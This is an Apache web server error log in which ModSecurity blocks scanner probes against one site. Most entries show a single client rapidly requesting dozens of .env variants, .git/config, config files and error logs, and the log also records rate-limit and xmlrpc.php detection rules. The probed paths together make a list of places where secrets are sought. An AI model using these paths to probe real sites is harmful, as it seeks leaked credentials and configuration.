[Sat Nov 29 06:03:33.441542 2025] [:error] [pid 22280:tid 22302] [client 217.146.83.115:45010] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aSocNZFKJ7cA_ndzTYs0DgAAAVQ"]
[Sat Nov 29 09:40:43.568027 2025] [:error] [pid 20826:tid 20845] [client 182.44.8.254:34566] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSpPG_ABfBqk70vKX9RCGwAAAA8"]
[Sat Nov 29 10:19:48.321647 2025] [proxy_fcgi:error] [pid 20826:tid 20846] (70007)The timeout specified has expired: [client 51.81.107.180:36372] AH01075: Error dispatching request to : (polling)
[Sat Nov 29 12:20:14.638239 2025] [:error] [pid 16610:tid 16631] [client 18.201.148.57:38194] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aSp0fgTu2dLzNk_QISrIhgAAAZM"]
[Sat Nov 29 12:20:14.650447 2025] [:error] [pid 20915:tid 20930] [client 18.201.148.57:38196] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aSp0flOOtKw1QZ3TPESctwAAAM0"]
[Sat Nov 29 12:20:14.650660 2025] [:error] [pid 20827:tid 20869] [client 18.201.148.57:38198] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aSp0foR9B7FcLfh1rSFEMwAAAEs"]
[Sat Nov 29 12:20:14.650702 2025] [:error] [pid 16610:tid 16623] [client 18.201.148.57:38200] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aSp0fgTu2dLzNk_QISrIhwAAAYs"]
[Sat Nov 29 12:20:14.652253 2025] [:error] [pid 32136:tid 32147] [client 18.201.148.57:38206] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aSp0fsSj_WSVQM1psKpBtgAAAQk"]
[Sat Nov 29 12:20:14.652481 2025] [:error] [pid 20915:tid 20935] [client 18.201.148.57:38204] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aSp0flOOtKw1QZ3TPEScuAAAANI"]
[Sat Nov 29 12:20:14.653197 2025] [:error] [pid 16610:tid 16627] [client 18.201.148.57:38208] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aSp0fgTu2dLzNk_QISrIiAAAAY8"]
[Sat Nov 29 12:20:14.653319 2025] [:error] [pid 16610:tid 16634] [client 18.201.148.57:38202] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aSp0fgTu2dLzNk_QISrIiQAAAZY"]
[Sat Nov 29 12:20:14.653406 2025] [:error] [pid 20915:tid 20924] [client 18.201.148.57:38210] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aSp0flOOtKw1QZ3TPEScuQAAAMc"]
[Sat Nov 29 12:20:14.653993 2025] [:error] [pid 16610:tid 16629] [client 18.201.148.57:38192] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIigAAAZE"]
[Sat Nov 29 12:20:14.654021 2025] [:error] [pid 20827:tid 20866] [client 18.201.148.57:38214] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lib/.env"] [unique_id "aSp0foR9B7FcLfh1rSFENAAAAEg"]
[Sat Nov 29 12:20:14.654209 2025] [:error] [pid 16610:tid 16635] [client 18.201.148.57:38212] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/vendor/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIiwAAAZc"]
[Sat Nov 29 12:20:14.654643 2025] [:error] [pid 20828:tid 20886] [client 18.201.148.57:38216] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lab/.env"] [unique_id "aSp0fuqW2f0jLRABAORLVwAAAIE"]
[Sat Nov 29 12:20:14.654998 2025] [:error] [pid 20826:tid 20842] [client 18.201.148.57:38218] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cron/.env"] [unique_id "aSp0fvABfBqk70vKX9RulgAAAAw"]
[Sat Nov 29 12:20:14.655519 2025] [:error] [pid 20827:tid 20876] [client 18.201.148.57:38224] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/.env"] [unique_id "aSp0foR9B7FcLfh1rSFENQAAAFI"]
[Sat Nov 29 12:20:14.655908 2025] [:error] [pid 20915:tid 20927] [client 18.201.148.57:38222] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/app/.env"] [unique_id "aSp0flOOtKw1QZ3TPEScugAAAMo"]
[Sat Nov 29 12:20:14.656436 2025] [:error] [pid 20826:tid 20830] [client 18.201.148.57:38220] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cronlab/.env"] [unique_id "aSp0fvABfBqk70vKX9RulwAAAAA"]
[Sat Nov 29 12:20:14.656744 2025] [:error] [pid 20827:tid 20858] [client 18.201.148.57:38226] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/core/Datavase/.env"] [unique_id "aSp0foR9B7FcLfh1rSFENgAAAEA"]
[Sat Nov 29 12:20:14.657075 2025] [:error] [pid 20915:tid 20926] [client 18.201.148.57:38228] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/database/.env"] [unique_id "aSp0flOOtKw1QZ3TPEScuwAAAMk"]
[Sat Nov 29 12:20:14.678070 2025] [:error] [pid 20827:tid 20872] [client 18.201.148.57:38230] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env"] [unique_id "aSp0foR9B7FcLfh1rSFENwAAAE4"]
[Sat Nov 29 12:20:14.678730 2025] [:error] [pid 20827:tid 20862] [client 18.201.148.57:38234] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEOAAAAEQ"]
[Sat Nov 29 12:20:14.681035 2025] [:error] [pid 20827:tid 20863] [client 18.201.148.57:38232] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/assets/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEOQAAAEU"]
[Sat Nov 29 12:20:14.763119 2025] [:error] [pid 16610:tid 16619] [client 18.201.148.57:38240] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aSp0fgTu2dLzNk_QISrIjAAAAYc"]
[Sat Nov 29 12:20:14.763808 2025] [:error] [pid 16610:tid 16613] [client 18.201.148.57:38236] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/apps/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIjQAAAYE"]
[Sat Nov 29 12:20:14.764030 2025] [:error] [pid 20827:tid 20864] [client 18.201.148.57:38238] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/uploads/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEOwAAAEY"]
[Sat Nov 29 12:20:14.764060 2025] [:error] [pid 16610:tid 16622] [client 18.201.148.57:38244] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIjgAAAYo"]
[Sat Nov 29 12:20:14.764207 2025] [:error] [pid 16610:tid 16616] [client 18.201.148.57:38242] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aSp0fgTu2dLzNk_QISrIjwAAAYQ"]
[Sat Nov 29 12:20:14.764760 2025] [:error] [pid 16610:tid 16618] [client 18.201.148.57:38246] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/exapi/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIkAAAAYY"]
[Sat Nov 29 12:20:14.765219 2025] [:error] [pid 16610:tid 16617] [client 18.201.148.57:38250] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sitemaps/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIkQAAAYU"]
[Sat Nov 29 12:20:14.765767 2025] [:error] [pid 16610:tid 16632] [client 18.201.148.57:38252] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIkgAAAZQ"]
[Sat Nov 29 12:20:14.765987 2025] [:error] [pid 20827:tid 20874] [client 18.201.148.57:38274] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/tools/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEPAAAAFA"]
[Sat Nov 29 12:20:14.766053 2025] [:error] [pid 20827:tid 20865] [client 18.201.148.57:38272] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/psnlink/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEPQAAAEc"]
[Sat Nov 29 12:20:14.766064 2025] [:error] [pid 20827:tid 20880] [client 18.201.148.57:38248] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEPgAAAFY"]
[Sat Nov 29 12:20:14.766543 2025] [:error] [pid 20827:tid 20882] [client 18.201.148.57:38270] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEPwAAAFg"]
[Sat Nov 29 12:20:14.766763 2025] [:error] [pid 32136:tid 32141] [client 18.201.148.57:38278] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/administrator/.env"] [unique_id "aSp0fsSj_WSVQM1psKpBtwAAAQM"]
[Sat Nov 29 12:20:14.766980 2025] [:error] [pid 32136:tid 32149] [client 18.201.148.57:38284] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.env"] [unique_id "aSp0fsSj_WSVQM1psKpBuAAAAQs"]
[Sat Nov 29 12:20:14.767631 2025] [:error] [pid 32136:tid 32162] [client 18.201.148.57:38280] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/laravel/.env"] [unique_id "aSp0fsSj_WSVQM1psKpBuQAAARg"]
[Sat Nov 29 12:20:14.768093 2025] [:error] [pid 32136:tid 32151] [client 18.201.148.57:38282] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/saas/.env"] [unique_id "aSp0fsSj_WSVQM1psKpBugAAAQ0"]
[Sat Nov 29 12:20:14.768269 2025] [:error] [pid 32136:tid 32154] [client 18.201.148.57:38286] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/en/.env"] [unique_id "aSp0fsSj_WSVQM1psKpBuwAAARA"]
[Sat Nov 29 12:20:14.783605 2025] [:error] [pid 62619:tid 62631] [client 18.201.148.57:38288] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/kubernetes/.env"] [unique_id "aSp0ftk7ZYKT63FfVSUX-wAAAUo"]
[Sat Nov 29 12:20:14.785365 2025] [:error] [pid 20827:tid 20868] [client 18.201.148.57:38276] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v1/.env"] [unique_id "aSp0foR9B7FcLfh1rSFEQQAAAEo"]
[Sat Nov 29 12:20:14.786434 2025] [:error] [pid 16610:tid 16614] [client 18.201.148.57:38290] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v2/.env"] [unique_id "aSp0fgTu2dLzNk_QISrIlQAAAYI"]
[Sat Nov 29 12:20:14.786794 2025] [:error] [pid 32136:tid 32159] [client 18.201.148.57:38294] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/docker/.env"] [unique_id "aSp0fsSj_WSVQM1psKpBvgAAARU"]
[Sat Nov 29 12:20:14.833223 2025] [:error] [pid 62619:tid 62621] [client 18.201.148.57:38312] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web.config"] [unique_id "aSp0ftk7ZYKT63FfVSUX_AAAAUA"]
[Sat Nov 29 12:20:14.835146 2025] [:error] [pid 62619:tid 62642] [client 18.201.148.57:38318] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/.config"] [unique_id "aSp0ftk7ZYKT63FfVSUX_QAAAVU"]
[Sat Nov 29 12:20:14.835234 2025] [:error] [pid 20826:tid 20851] [client 18.201.148.57:38316] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/app.config"] [unique_id "aSp0fvABfBqk70vKX9RumQAAABU"]
[Sat Nov 29 12:20:14.859999 2025] [:error] [pid 20827:tid 20871] [client 18.201.148.57:38328] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/config.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/config.yml"] [unique_id "aSp0foR9B7FcLfh1rSFEQwAAAE0"]
[Sat Nov 29 12:20:15.261629 2025] [:error] [pid 20828:tid 20898] [client 18.201.148.57:38732] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/debug.log"] [unique_id "aSp0f-qW2f0jLRABAORLXAAAAI0"]
[Sat Nov 29 12:20:15.420166 2025] [:error] [pid 20827:tid 20877] [client 18.201.148.57:38746] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/error.log"] [unique_id "aSp0f4R9B7FcLfh1rSFESwAAAFM"]
[Sat Nov 29 12:20:15.431246 2025] [:error] [pid 16610:tid 16636] [client 18.201.148.57:38760] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/errors.log"] [unique_id "aSp0fwTu2dLzNk_QISrImwAAAZg"]
[Sat Nov 29 12:20:15.431261 2025] [:error] [pid 62619:tid 62638] [client 18.201.148.57:38814] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/php_error.log"] [unique_id "aSp0f9k7ZYKT63FfVSUYDQAAAVE"]
[Sat Nov 29 12:20:15.453270 2025] [:error] [pid 20828:tid 20907] [client 18.201.148.57:38838] [client 18.201.148.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSp0f-qW2f0jLRABAORLXQAAAJU"]
[Sat Nov 29 13:37:41.280973 2025] [:error] [pid 20826:tid 20837] [client 217.160.189.228:53504] [client 217.160.189.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.189.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqGpfABfBqk70vKX9R5VAAAAAc"]
[Sat Nov 29 14:34:14.524528 2025] [:error] [pid 20828:tid 20904] [client 223.178.210.114:17829] [client 223.178.210.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.178.210.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSqT5uqW2f0jLRABAORbdwAAAJM"]
